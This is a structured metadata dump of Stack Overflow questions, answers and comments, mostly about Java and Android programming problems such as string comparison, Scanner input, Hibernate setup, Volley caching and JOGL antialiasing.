tags question: http://stackoverflow.com/q/22272415
tag name: opengl-es-2.0
type: Tag

http://stackoverflow.com/a/22218359
answers question: http://stackoverflow.com/q/22218194
upvote count: 1
has comment: http://stackoverflow.com/comment/33736624
has body: Use kill command. For more information please refer URL Kill Command for UNIX
has comment: http://stackoverflow.com/comment/33737155
type: Answer
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/33736948

http://stackoverflow.com/q/22313741
has title: Change the button text from reserved from vacant when it is clicked in an android activity
has body: I have a code as follow. MainActivity.java package com.example.androidphpmy; import com.example.androidphpmy.MainActivity; import com.example.androidphpmy.R; import com.example.androidphpmy.PaymentActivity; import android.os.Bundle; import android.app.Activity; import android.content.Intent; import android.view.View; import android.widget.Button; import android.widget.Toast; public class MainActivity extends Activity { Button btnVacant1,btnVacant2,btnVacant3,btnVacant4, btnVacant5,btnVacant6,btnVacant7,btnVacant8; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); setupMessageButton1(); setupMessageButton2(); setupMessageButton3(); setupMessageButton4(); setupMessageButton5(); setupMessageButton6(); setupMessageButton7(); setupMessageButton8(); } private void setupMessageButton1(){ Button messageButton = (Button) findViewById(R.id.button1); messageButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Toast.makeText(MainActivity.this,"You clicked on block 1",Toast.LENGTH_LONG).show(); startActivity(new Intent(MainActivity.this,PaymentActivity.class)); } }); } private void setupMessageButton2(){ Button messageButton = (Button) findViewById(R.id.button2); messageButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Toast.makeText(MainActivity.this,"You clicked on block 2",Toast.LENGTH_LONG).show(); startActivity(new Intent(MainActivity.this,PaymentActivity.class)); } }); } private void setupMessageButton3(){ Button messageButton = (Button) findViewById(R.id.button3); messageButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Toast.makeText(MainActivity.this,"You clicked on block 3",Toast.LENGTH_LONG).show(); startActivity(new Intent(MainActivity.this,PaymentActivity.class)); } }); } private void setupMessageButton4(){ Button messageButton = (Button) findViewBy…
type: Question
has comment: http://stackoverflow.com/comment/33907309
tagged with: button
score: 0
tagged with: android
has comment: http://stackoverflow.com/comment/33907237
answer count: 1
tagged with: android-activity
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/22338870
linked to: http://stackoverflow.com/q/10407159
tagged with: text
has answer: http://stackoverflow.com/a/22313806
tagged with: java

http://stackoverflow.com/q/22168927
tagged with: java
has title: Shiro different cookies for different realms
has answer: http://stackoverflow.com/a/22886790
type: Question
tagged with: jakarta-ee
has comment: http://stackoverflow.com/comment/34300783
tagged with: shiro
tagged with: security
score: 0
has body: Assume my app handles two specific url patterns /foo/* -> Only FooUsers will have access, authenticated in FooUserRealm /bar/* -> Only BarUsers will have access, authenticated in BarUserRealm I can handle selection of correct realm by means of assigning two seperate authc filters to these url patterns and creating two different authentication token instances, then realms just have to declare which token type they support. But, what I cannot achieve is that after authenticated FooUsers will have access to /bar/* urls and vice versa. What I really want to achieve is that there are two seperate cookies for each realm and when a FooUser tries to access /bar/* urls, she is redirected to BarUser login page. Only after a user is both authenticated with FooUser and BarUser realms (credentials need not be the same, so an authentication policy doesnot help here, users have to see two seperate login pages if they want to access /foo/* and /bar/*) I can only think of creating two seperate security managers creating different cookies for these realms and url patterns. Is there any better way of doing this?
answer count: 1
has comment: http://stackoverflow.com/comment/34300810
type: UnansweredQuestion

http://stackoverflow.com/comment/33889574
has text: Yes, I just realized that. I thought that first method was his main method.
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22304223

http://stackoverflow.com/q/22253223
tagged with: comparison
has answer: http://stackoverflow.com/a/22253300
answer count: 2
linked to: http://stackoverflow.com/q/513832
has body: I know that we shouldn't compare Strings with == and its better to use equals. For so far I learned this should all be false. So why does the first method return true? private String ab = "AB"; private String ab2 = "A" + "B"; private String a = "A"; private String b = "B"; private String ab3 = a + b; public void test () { System.out.println("ab == ab2" + ab==ab2); System.out.println("ab == ab3" + ab==ab3); System.out.println("ab == a+b" + ab==(a+b)); }
tagged with: string
has comment: http://stackoverflow.com/comment/33797306
duplicate of: http://stackoverflow.com/q/513832
favorite count: 0
has comment: http://stackoverflow.com/comment/33797472
accepted answer: http://stackoverflow.com/a/22253300
type: AnsweredQuestion
score: 0
tagged with: java
upvote count: 1
downvote count: 1
type: Question
possible better answer: http://stackoverflow.com/a/22253364
has answer: http://stackoverflow.com/a/22253364
has title: strange effect with string comparisation with ==

http://stackoverflow.com/q/22273340
has body: I'm trying to get anti-aliasing to work in my OpenGL application, but whatever I try, nothing seems to work! My latest attempt is: gl.glEnable(GL.GL_BLEND); gl.glBlendFunc(GL.GL_SRC_ALPHA, GL.GL_ONE_MINUS_SRC_ALPHA); gl.glEnable(GL2.GL_POLYGON_SMOOTH); gl.glHint(GL2.GL_POLYGON_SMOOTH_HINT, GL.GL_NICEST); Where (part of) my polygon code is: gl.glBegin(GL_QUADS); gl.glColor3f(0.1f, 0.1f, 0.1f); // asphalt grey gl.glVertex3f(3.0f, 0.06f, 0.0f); gl.glVertex3f(3.0f, -0.06f, 0.0f); gl.glVertex3f(-3.0f, -0.06f, 0.0f); gl.glVertex3f(-3.0f, 0.06f, 0.0f); gl.glEnd(); But this has absolutely no effect! I still get this horrible gappy, jagged image: I've also tried gl.glBlendFunc(GL.GL_SRC_ALPHA_SATURATION, GL.GL_ONE); as per this guide, but this just produces a black screen with nothing on it. And I've tried gl.glDisable(GL.GL_DEPTH_TEST); before enabling blending, and once again it does nothing. What am I doing wrong?
has title: JOGL polygon antialiasing
has comment: http://stackoverflow.com/comment/33834126
has comment: http://stackoverflow.com/comment/33834049
tagged with: jogl
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33835617
has comment: http://stackoverflow.com/comment/52053548
answer count: 0
has comment: http://stackoverflow.com/comment/33847428
tagged with: opengl
tagged with: java
has comment: http://stackoverflow.com/comment/33834081
has comment: http://stackoverflow.com/comment/33835589
type: Question
has comment: http://stackoverflow.com/comment/52053285
has comment: http://stackoverflow.com/comment/33836315
has comment: http://stackoverflow.com/comment/33834045
score: 0
has comment: http://stackoverflow.com/comment/33836322
has comment: http://stackoverflow.com/comment/51828950

http://stackoverflow.com/comment/75119275
type: AnswerComment
score: 5
has text: You can also locate the java binary by running `readlink -f $(which java))`. This works great for creating the JAVA_HOME environment variable based on java (in path): `export JAVA_HOME=$(dirname $(dirname $(readlink -f $(which java))))`. Credit to: [How to set JAVA_HOME environment variable automatically on Linux](http://ask.xmodulo.com/set-java_home-environment-variable-linux.html)
type: Comment
comment on: http://stackoverflow.com/a/22290578

http://stackoverflow.com/a/26100024
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/22197069
has body: There is noting wrong with your code only issue with the file or internet speed.Code is working fine here and Also there is recommended that NOT TO USE FTP DETAILS DIRECTLY please avoid this stuff from application you have better option to use web service for your server related stuff. Good Luck
downvote count: 0
score: 1

http://stackoverflow.com/comment/33773081
type: Comment
type: QuestionComment
has text: Why are you prefixing all your variable names with `$`?
comment on: http://stackoverflow.com/q/22239279
score: 0

http://stackoverflow.com/a/22374021
has body: Finally I fixed it (thanks to Emanuele Gallo, not signed on SO, but a great guy anyway)!!! Problem was that I added /opt/wbp/j2re1.4.2_04/lib/rt.jar:/opt/wbp/j2re1.4.2_04/lib/jce.jar:/opt/wbp/j2re1.4.2_04/lib/jsse.jar in Classpath field (see picture below) In order to work, instead, they must be added in Option field with -X option using bootclasspath property. In othe rwords, in &lt;iPlanet_install_path&gt;/servers/https-&lt;virtual_server_name&gt;/config/jvm12.conf this was the wrong configuration &#35;jvm.option=-Xbootclasspath:/lib/tools.jar:/jre/lib/rt.jar jvm.option=-Xrs jvm.option=-Xnoagent jvm.classpath=/opt/iplanet6/servers/plugins/servlets/examples/legacy/beans.10/SDKBeans10.jar:/opt/wbp/j2re1.4.2_04/lib/rt.jar:/opt/wbp/j2re1.4.2_04/lib/jce.jar:/opt/wbp/j2re1.4.2_04/lib/jsse.jar that worked absolutely fine when replaced with the following one jvm.option=-Xrs jvm.option=-Xnoagent jvm.classpath=/opt/iplanet6/servers/plugins/servlets/examples/legacy/beans.10/SDKBeans10.jar jvm.option=-Xbootclasspath:/opt/wbp/j2re1.4.2_04/lib/rt.jar:/opt/wbp/j2re1.4.2_04/lib/jce.jar:/opt/wbp/j2re1.4.2_04/lib/jsse.jar NOTE 1: each key=value pair must be wtitten on a single line; here newline between '-' and Xbootclasspath.... depends on page formatting
answers question: http://stackoverflow.com/q/22322362
accepted answer of: http://stackoverflow.com/q/22322362
type: AcceptedAnswer
score: 0
type: Answer

http://stackoverflow.com/comment/33805762
comment on: http://stackoverflow.com/q/22256988
has text: Well, i couldnt find anything, i recreated the project with the same source files and everything seems to work now
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/78059552
has text: How did you fix it?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22194534
score: 0

http://stackoverflow.com/comment/33837879
type: Comment
comment on: http://stackoverflow.com/a/22275158
has text: Thanks for your answer. I mentioned above the problems that i had and your answer covers them both but i cannot set 2 accepted answers (i also cannot up-vote coz i am a newbie in stack overflow... but i am going to do it as soon as i have the required rank!)
type: AnswerComment
score: 0

http://stackoverflow.com/q/22266327
has body: I have been working on an assignment for an online course I've been taking a local CC and it has been driving me up a wall. I thought that my code theoretically was sound, but every time I try to run the program, things aren't going as I would have anticipated. Essentially, the program is supposed to prompt the user to input a line of text and write to to a file of his/her naming. When I execute this code (and this is only a snippet since the program is supposed to have options to read/write in a text and binary file). When compiled and after I indicate my choices on some of the options, I never get the opportunity to "Enter a line of information to write to the file:". That section always get skipped and the program just jumps right to the "Would you like to enter another line?" section. I know for a fact that the file is being created, but what am I doing wrong here. Why am I not able to accept user input? import java.util.Scanner; import java.io.PrintWriter; import java.io.FileOutputStream; import java.io.FileNotFoundException; public class AshbaughAssignmentFiveTest { public static void main(String[] args) { Scanner keyboard = new Scanner(System.in); System.out.print("Enter the file name: "); String fileName = keyboard.nextLine(); System.out.print("Choose binary or text file (b/t): "); char fileType = keyboard.next().trim().charAt(0); System.out.print("Choose read or write (r/w): "); char actionType = keyboard.next().trim().charAt(0); if ((fileType == 'T' || fileType == 't') &amp;&amp; (actionType == 'W' || actionType == 'w')) { String line = null; PrintWriter outputStream = null; try { outputStream = new PrintWriter(new FileOutputStream(fileName + ".txt")); } catch (FileNotFoundException e) { System.out.println("Error opening the file \"" + fileName + "\"."); System.exit(0); } System.out.println("Enter a line of information to write to the file: "); line = keyboard.nextLine(); outputStream.println(line); System.out.println("Would you like to enter another line?…
has answer: http://stackoverflow.com/a/22266505
answer count: 1
has title: Unable to accept User Input to write to a file using PrintWriter
has comment: http://stackoverflow.com/comment/33822099
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33822232
tagged with: text-files
has comment: http://stackoverflow.com/comment/33821875
tagged with: printwriter
type: Question
tagged with: java
score: 0
has comment: http://stackoverflow.com/comment/33828573

http://stackoverflow.com/q/22321851
score: 2
upvote count: 2
has title: Import error: Org.Hibernate.SessionFactory etc
tagged with: gwt
type: AnsweredQuestion
has body: I'm working on a school project which is supposed to be a simple GWT website with Hibernate. I've never used Hibernate or GWT before so for me this is a little tricky. For starters I've created the website and I've set up a database with XAMPP. After that I followed this guide to set up Hibernate: http://examples.javacodegeeks.com/enterprise-java/hibernate/hibernate-jboss-tools-installation-in-eclipse-mapping-generation-example/ The last thing to do in that example is to generate code. The code is generated but I've got lots of errors due to these import org.hibernate.LockMode; import org.hibernate.SessionFactory; import org.hibernate.criterion.Example; These imports can't be find, anyone knows what I'm missing? Thanks in advance
accepted answer: http://stackoverflow.com/a/22321902
tagged with: java
tagged with: hibernate
tagged with: eclipse
type: Question
answer count: 1
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/22321902

http://stackoverflow.com/a/22259580
has comment: http://stackoverflow.com/comment/33811719
answers question: http://stackoverflow.com/q/22259230
score: 3
upvote count: 3
accepted answer of: http://stackoverflow.com/q/22259230
has comment: http://stackoverflow.com/comment/33811906
has comment: http://stackoverflow.com/comment/33809942
has comment: http://stackoverflow.com/comment/33811546
has comment: http://stackoverflow.com/comment/33813003
has comment: http://stackoverflow.com/comment/33809739
has body: You could use this approach (first calculate the minutes since epoch, then subtract them) - private static long getTimeInMinutesFromEpoch(Date d) { if (d == null) { return 0; } return d.getTime() / (60 * 1000); } public static long getMinuteDifference(Date a, Date b) { return Math.abs(getTimeInMinutesFromEpoch(b) - getTimeInMinutesFromEpoch(a)); } public static void main(String[] args) throws ParseException { String startstring = "Mar 07, 2014 23:45:43 PM"; String endstring = "Mar 07, 2014 23:46:01 PM"; DateFormat df = new SimpleDateFormat("MMM dd, yyyy hh:mm:ss a", Locale.ENGLISH); Date start = df.parse(endstring); Date end = df.parse(startstring); System.out.println(getMinuteDifference(start, end)); } Output is 1
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33814120
has comment: http://stackoverflow.com/comment/33809984
has comment: http://stackoverflow.com/comment/33811692
type: Answer
has comment: http://stackoverflow.com/comment/33811518

http://stackoverflow.com/a/46747120
score: 2
answers question: http://stackoverflow.com/q/22328337
has body: I finally found solution: public double countLines(javax.swing.JTextArea textArea, double max_width) { javax.swing.text.PlainDocument doc = (javax.swing.text.PlainDocument) textArea.getDocument(); double counting = 0; for (int i = 0; i &lt; textArea.getLineCount(); i++) { try { int start = textArea.getLineStartOffset(i); int length = textArea.getLineEndOffset(i) - start; // calculating the length of the line // if the width of the line in greater than the max width, the division would return the number of lines counting += Math.ceil(textArea.getFontMetrics(textArea.getFont()).stringWidth(doc.getText(start, length)) / max_width); } catch (javax.swing.text.BadLocationException ex) { System.err.println("ERROR\n" + ex.getMessage()); } } return counting; } It works in every situation, and calculate it exactly ☺
downvote count: 0
upvote count: 2
type: Answer

http://stackoverflow.com/comment/33913405
comment on: http://stackoverflow.com/a/22316824
type: AnswerComment
type: Comment
has text: Can u give me one example??
score: 0

http://stackoverflow.com/comment/33859942
type: Comment
comment on: http://stackoverflow.com/a/22287415
has text: You can't create a class dynamically as simple as it is. What class name are you talking about. It doesn't exists in classpath in advance. You have to change your design. :)
type: AnswerComment
score: 0

http://stackoverflow.com/comment/33701919
comment on: http://stackoverflow.com/q/22200377
type: Comment
type: QuestionComment
has text: @ErstwhileIII NIO2? NO i dint. i also have no clear idea on what they are.
score: 0

http://stackoverflow.com/comment/33709840
comment on: http://stackoverflow.com/q/22203954
has text: @Pshemo `Exception in thread "AWT-EventQueue-0" java.util.NoSuchElementException at java.util.Scanner.throwFor(Scanner.java:907) at java.util.Scanner.next(Scanner.java:1416) at lab6.Read.load(Read.java:21)` `msg`is declared before.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22253070
has comment: http://stackoverflow.com/comment/33798033
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/22239215
downvote count: 0
has body: I think the error is caused by the -1, the third parameter, which tells setAsciiStream that the byteStream has -1 bytes. When I have used setAsciiStream() in the past, I used a bufferInputStream and the the size of a String if it was over 254 characters. String convRule; ... if (convRule.length() &gt; 254) { int size = convRule.length(); BufferedInputStream bais = new BufferedInputStream( new ByteArrayInputStream( convRule.getBytes() ) ); pStmt.setAsciiStream( 4, bais, size ); } So, comparing mine to yours I can tell the third parameter is different which should be the length of the input stream.
type: Answer

http://stackoverflow.com/a/22251981
type: Answer
has comment: http://stackoverflow.com/comment/33795257
has comment: http://stackoverflow.com/comment/33795086
has body: Just write Fragment instead of fragment in your XML layout. XML is case sensitive. It's showed by the part #7: Error inflating class fragment in your logs. If you meant to use your FirstFragment class then you have to write the full name when declaring the element in your XML files, including the package name : &lt;com.mypackage.name.FirstFragment ... &gt; ... &lt;/com.mypackage.name.FirstFragment&gt;
has comment: http://stackoverflow.com/comment/33795194
score: 0
answers question: http://stackoverflow.com/q/22251930

http://stackoverflow.com/a/48315663
upvote count: 4
has comment: http://stackoverflow.com/comment/83617472
downvote count: 0
has comment: http://stackoverflow.com/comment/83669582
has body: BusDetails = BusDetails.replaceAll("[^a-zA-Z0-9_-]", ""); Using the regex pattern "[^a-zA-Z0-9_-]" we can replace all special characters (symbols) from the string except letters, numbers and '_'.
score: 4
has comment: http://stackoverflow.com/comment/83669341
answers question: http://stackoverflow.com/q/22244233
has comment: http://stackoverflow.com/comment/83669530
type: Answer

http://stackoverflow.com/q/22248117
has comment: http://stackoverflow.com/comment/33788789
score: 0
has title: Volley on android load images already downloaded with NetworkImageView doesn't work
has comment: http://stackoverflow.com/comment/33788459
tagged with: android-volley
type: UnansweredQuestion
tagged with: android
tagged with: networkimageview
answer count: 0
has body: I have a function that downloaded the images in the background here is the function: @UiThread void donwloadImage(final String url,ImageLoader mImageLoader){ ImageRequest request = new ImageRequest(url, new Response.Listener&lt;Bitmap&gt;() { @Override public void onResponse(Bitmap response) { log.i("Download","url="+url); } }, 0, 0, null, null); queue.add(request); } the download works fine, but when I try to retrieve this images with a com.android.volley.toolbox.NetworkImageView image.setImageUrl(url,VolleySingleton.getInstance(context).getImageLoader()); with image come from xml: &lt;com.android.volley.toolbox.NetworkImageView android:id="@+id/imgArticle" android:layout_width="fill_parent" android:layout_height="fill_parent" android:visibility="visible" /&gt; This doesn't work when I don't have network. (images already downladed with function donwloadImage(final String url,ImageLoader mImageLoader)) how can i resolve this problem ? i use VolleySingleton: package com.intescia.library.service.metier.volley; import android.content.Context; import android.graphics.Bitmap; import android.util.LruCache; import com.android.volley.RequestQueue; import com.android.volley.toolbox.ImageLoader; import com.android.volley.toolbox.Volley; public class VolleySingleton { private static VolleySingleton mInstance = null; private RequestQueue mRequestQueue; private ImageLoader mImageLoader; private VolleySingleton(Context context){ mRequestQueue = Volley.newRequestQueue(context); mImageLoader = new ImageLoader(this.mRequestQueue, new ImageLoader.ImageCache() { private final LruCache&lt;String, Bitmap&gt; mCache = new LruCache&lt;String, Bitmap&gt; (1000); public void putBitmap(String url, Bitmap bitmap) { mCache.put(url, bitmap); } public Bitmap getBitmap(String url) { return mCache.get(url); } }); } public static VolleySingleton getInstance(Context context){ if(mInstance == null){ mInstance = new VolleySingleton(context); } return mInstance; } public RequestQueue getRequestQueue(){…
type: Question
tagged with: java

http://stackoverflow.com/a/22207126
answers question: http://stackoverflow.com/q/22199769
type: AcceptedAnswer
downvote count: 0
type: Answer
upvote count: 3
score: 3
has body: Sounds like you're looking for a Map. Map&lt;User, String&gt; userMap = new HashMap&lt;User, String&gt;(); for (User user : users) { userMap.put(user, calculateSililarity.calculate(sessionUser.getUserId(), user.getUserId())); } model.addAttribute("userMap", userMap); In your JSP you would loop through the map as follows. &lt;c:forEach var="entry" items="${userMap}"&gt; User ID: &lt;c:out value="${entry.key.userId}"/&gt; Similarity: &lt;c:out value="${entry.value}"/&gt; &lt;/c:forEach&gt;
accepted answer of: http://stackoverflow.com/q/22199769

size
type: Tag
tag name: size
tags question: http://stackoverflow.com/q/22319278
tags question: http://stackoverflow.com/q/22324882

http://stackoverflow.com/a/22227590
score: 2
downvote count: 0
upvote count: 2
answers question: http://stackoverflow.com/q/22227407
has body: Java does support optional parameters in the form of var-args, but each method can only have 1 var-arg parameter and it must be the last in the list of parameters ( Varargs ). Java supports overloading methods, and Java can distinguish between methods with different method signatures. This means that methods within a class can have the same name if they have different parameter lists: public class DataArtist { ... public void draw(boolean b1) { ... } public void draw(boolean b1, boolean b2) { ... } public void draw(double f) { ... } public void draw(int i, double f) { ... } } More Info on: Java Methods.
has comment: http://stackoverflow.com/comment/33750274
type: Answer

http://stackoverflow.com/q/22260117
has answer: http://stackoverflow.com/a/22260145
upvote count: 0
tagged with: applet
favorite count: 0
has answer: http://stackoverflow.com/a/22267527
has title: glassfish applet doesn't run on server
type: Question
answer count: 2
score: -1
tagged with: java
downvote count: 1
type: UnansweredQuestion
has body: I created a dynamic web project (week8) and simple HelloWorldApplet.I use eclipse and glassfish 4.0.when i try to run on server(r-click), server starts but browser (http://localhost:8080/week8/WEB-INF/classes/HelloWorldApplet.java gives this error: "HTTP Status 404 - Not Found type Status report messageNot Found descriptionThe requested resource is not available. GlassFish Server Open Source Edition 4.0" I've googled all day long, couldn't find an answer.thanks folder structure is: week8 jax-ws webservices deployment descriptor: week8 javaresoures src HelloWorldApplet.java libraries build webcontent meta-inf web-inf
tagged with: eclipse
tagged with: glassfish

http://stackoverflow.com/comment/33694909
score: 1
has text: Can you please provide the whole code so we can pin point the problem
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22196589

http://stackoverflow.com/comment/67941881
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22301832
type: AnswerComment
has text: It works if the tiles have been loaded, before I zoom to the 19 level. If I zoom to the 19 level before the tiles are loaded, the tiles won't be loaded. Is there a workaround?

http://stackoverflow.com/a/22197399
answers question: http://stackoverflow.com/q/22196385
upvote count: 2
has comment: http://stackoverflow.com/comment/33696981
has comment: http://stackoverflow.com/comment/33697463
downvote count: 0
has comment: http://stackoverflow.com/comment/33697160
has comment: http://stackoverflow.com/comment/33697569
type: Answer
has comment: http://stackoverflow.com/comment/33696074
has comment: http://stackoverflow.com/comment/33696575
has comment: http://stackoverflow.com/comment/33696518
has body: your code: pst.setString(9,Password2); pst.setString(11,ID); you doing some mistake: pst.setString(9,Password2); pst.setString(10,ID); you should look at this following line: this field name, like as:(fault page) pst.setString(1,Fname); pst.setString(2,Mname); pst.setString(3,Lname); pst.setString(4,Uname); pst.setString(5,Emailid); pst.setString(6,Mobno); pst.setString(7,Address); pst.setString(8,Password1); pst.setString(9,Password2); pst.setString(11,ID); now did you understand your error, you should change this and compile it. String update= "update registerutable set fname=?, mname=?, lname=?, username=?, emailid=?, mobno=?, address=?, password1=?, password2=? where id=?";
score: 2

http://stackoverflow.com/a/22177648
has comment: http://stackoverflow.com/comment/33662358
has comment: http://stackoverflow.com/comment/33661895
has comment: http://stackoverflow.com/comment/33662293
has body: Broad overview: You will need to recreate a new fetch object. You can't re-execute an old AsynTask. One issue is you don't know how many elements are in your listview, as such the scroll bar will appear as if its reaching the end. Your fetch may come back in time, and you add more elements, and magically there's more to scroll, or it doesn't come back in time, and user reaches the apparent end... If you can determine the total number ahead of time, override the GetCount method. Deciding when to fetch the next data set. If you override the getView method of your adapter you will be able to get callbacks when the adapter creates a view for each position. As the user scrolls the position will get closer to the end of your array. Set some threshold to begin fetching the next data set. class myAdapter extends ArrayAdapter{ @Override public View getView(int position, View convertView, ViewGroup parent) { return super.getView(position, convertView, parent); if(!thresholdReachedBefore &amp;&amp; position &gt; threshold){ fetchNextDataSet(); } } }
type: Answer
has comment: http://stackoverflow.com/comment/33661441
has comment: http://stackoverflow.com/comment/33662227
has comment: http://stackoverflow.com/comment/33661547
has comment: http://stackoverflow.com/comment/33661265
accepted answer of: http://stackoverflow.com/q/22177266
has comment: http://stackoverflow.com/comment/33662596
score: 0
answers question: http://stackoverflow.com/q/22177266
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33661726

http://stackoverflow.com/a/22169649
downvote count: 0
answers question: http://stackoverflow.com/q/22169429
type: Answer
score: 1
upvote count: 1
has body: public static void main(String args[]) { //remaining code write here; }

http://stackoverflow.com/q/22195178
answer count: 1
tagged with: executable-jar
tagged with: jar
has answer: http://stackoverflow.com/a/22195377
favorite count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33692732
has title: enable any java code coverage tool in jar file to generate output
has body: Is there any tool which can be embedded in jar file and generate code coverage in output file each time jar is run. plz dont mention any eclipse/netbeans plugin, i cant use IDE.
tagged with: code-coverage
tagged with: java
upvote count: 1
has comment: http://stackoverflow.com/comment/33692532
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/33692464
score: 0

http://stackoverflow.com/a/22308769
upvote count: 3
type: AcceptedAnswer
type: Answer
score: 3
accepted answer of: http://stackoverflow.com/q/22290901
downvote count: 0
answers question: http://stackoverflow.com/q/22290901
has body: You don't actually have to register the x-android-org-springsource-twitterclient://twitter-oauth-response URL with the Twitter app settings. In fact, the callback URL configured on Twitter doesn't really matter in this case. The callback URL is sent to Twitter within the request to fetch the OAuth request token. Note that within the AndroidManifest.xml there is a specified for the TwitterWebOAuthActivity which configures this callback URL. This filter tells Android to redirect requests to the activity. <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> Note also in res/values/connect_settings.xml the twitter_oauth_callback_url string is again configured. x-org-springsource-android-twitterclient://twitter-oauth-response This string is used in TwitterWebOAuthActivity to fetch the Twitter request token. @Override protected OAuthToken doInBackground(Void... params) { // Fetch a one time use Request Token from Twitter return connectionFactory.getOAuthOperations().fetchRequestToken(getOAuthCallbackUrl(), null); } If you want to modify the callback URL for your own app, you need to make sure it is configured the same in the AndroidManifest.xml and res/values/connect_settings.xml.

http://stackoverflow.com/comment/52045871
type: AnswerComment
comment on: http://stackoverflow.com/a/22186800
type: Comment
has text: @haywire: Actually, using methods like System.out.printf() or String.format() can take care of the rounding for you. It doesn't just cut off precision, see my answer.
score: 2

http://stackoverflow.com/q/22217432
has comment: http://stackoverflow.com/comment/33732615
possible better answer: http://stackoverflow.com/a/22218112
tagged with: shallow-copy
has answer: http://stackoverflow.com/a/22218112
has comment: http://stackoverflow.com/comment/33732564
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22217579
has comment: http://stackoverflow.com/comment/33732576
has body: I'm learning deep copy and shallow copy. If we have two arrays: int[]arr1={1,2,3,4,5}; int[]arr2={1,2,3,4,5}; Question: Both arrays point to the same references [1][2][3][4][5]. What will happen if I change arr1[2]?Does it changes arr2[2]? When we pass an array (random array, not necessarily arr1 or arr2) from main into a method the compiler makes a shallow copy of the array to the method, right? If the Java compiler was re-written to make and send a deep copy of the array data to the method. What happens to the original array in the main? I think the original array may change according to the method and pass back into the main. I am not sure.
tagged with: java
has comment: http://stackoverflow.com/comment/33732755
type: Question
tagged with: arrays
has answer: http://stackoverflow.com/a/22217531
accepted answer: http://stackoverflow.com/a/22217579
score: 0
tagged with: deep-copy
answer count: 3
has title: Array deep copy and shallow copy
has comment: http://stackoverflow.com/comment/33732642
has comment: http://stackoverflow.com/comment/33732698

http://stackoverflow.com/comment/33761429
has text: Number of fields isn't really the issue, it's whether the necessary index pages necessary to answer the majority of your searches are in the page cache. While it's nice to bring the index size down, cutting away data that weren't really used anyway will not improve things a lot.
comment on: http://stackoverflow.com/a/22230016
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/22301283
upvote count: 1
has comment: http://stackoverflow.com/comment/33884348
tagged with: pmd
type: Question
downvote count: 0
favorite count: 0
has title: Rule that checks if a class uses a method in a group of classes
has comment: http://stackoverflow.com/comment/33884525
has body: I'm trying to write a xpath-rule where I'd like to warn about using a couple of methods given a specific namespace. The rule could be stated as: You should only be able to call create/update/delete in classes named with suffix Repository if the call is made from a class named with suffix domain. The part where I fail is how to connect the field "private XXXRepository xxxRepository" to the call "xxxRepository.create()" in a method later in the code. Just checking that the the case where the naming convension is followed seems insufficent. Example code: public class Example() private TestRepository testRepository; public void callToCreate(){ testRepository.create(); } }
answer count: 0
type: UnansweredQuestion
score: 1
tagged with: java

http://stackoverflow.com/comment/34003831
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22218131
has text: @Claus..i downloaded and deployed the war file...but still i cannot see all the queues configure in my enterprise application. How will hawtio connect to my application and recognize the queues built out there. I tried using Connect to connect to remote host but that is also not working, looks like it is not having jolokia in it. I have all together different settings configured for Active MQ in my EE App. like tcp://localhost:61636. So, how can i connect to it and see all my queues and messages. Application is using ActiveMQ 5.0
type: AnswerComment

http://stackoverflow.com/q/22270165
has answer: http://stackoverflow.com/a/22276055
favorite count: 0
tagged with: google-app-engine
has answer: http://stackoverflow.com/a/23459086
has body: I am trying to produce JSON (MediaType.APPLICATION_JSON). If I am using MediaType.APPLICATION_JSON, I am getting wrong output. But whenever I am using text/plain I am getting the correct output. I would like to work with MediaType.APPLICATION_JSON to set the correct headers. Is this code correct ? (I am using Jersey + App engine) @Path("all") @GET @Produces(MediaType.APPLICATION_JSON) public String getAllPatients(){ Patient x = new Patient(); x.setNaam("david"); String test = gson.toJson(x); return test; } This is the wrong output : "{\"naam\":\"david\",\"leeftijd\":0}" Edit : It's working perfectly with XML (MediaType.APPLICATION_XML) but when trying with JSON I get the following error : java.lang.NullPointerException at com.owlike.genson.reflect.BeanViewDescriptorProvider$BeanViewPropertyFactory.createAccessor(BeanViewDescriptorProvider.java:122) at com.owlike.genson.reflect.BeanPropertyFactory$CompositeFactory.createAccessor(BeanPropertyFactory.java:49) at com.owlike.genson.reflect.BaseBeanDescriptorProvider.provideMethodAccessors(BaseBeanDescriptorProvider.java:187) at com.owlike.genson.reflect.BaseBeanDescriptorProvider.provideBeanPropertyAccessors(BaseBeanDescriptorProvider.java:94) at com.owlike.genson.reflect.AbstractBeanDescriptorProvider.provide(AbstractBeanDescriptorProvider.java:106) at com.owlike.genson.convert.BasicConvertersFactory.provide(BasicConvertersFactory.java:109) at com.owlike.genson.convert.BasicConvertersFactory.create(BasicConvertersFactory.java:74) at com.owlike.genson.convert.BasicConvertersFactory.create(BasicConvertersFactory.java:56) at com.owlike.genson.reflect.AbstractBeanDescriptorProvider$ContextualFactoryDecorator.create(AbstractBeanDescriptorProvider.java:79) at com.owlike.genson.reflect.AbstractBeanDescriptorProvider$ContextualFactoryDecorator.create(AbstractBeanDescriptorProvider.java:68) at com.owlike.genson.convert.ChainedFactory.create(ChainedFactory.java:93) at com.owlike.genson.convert.ChainedFactory.create(ChainedFactory…
type: AnsweredQuestion
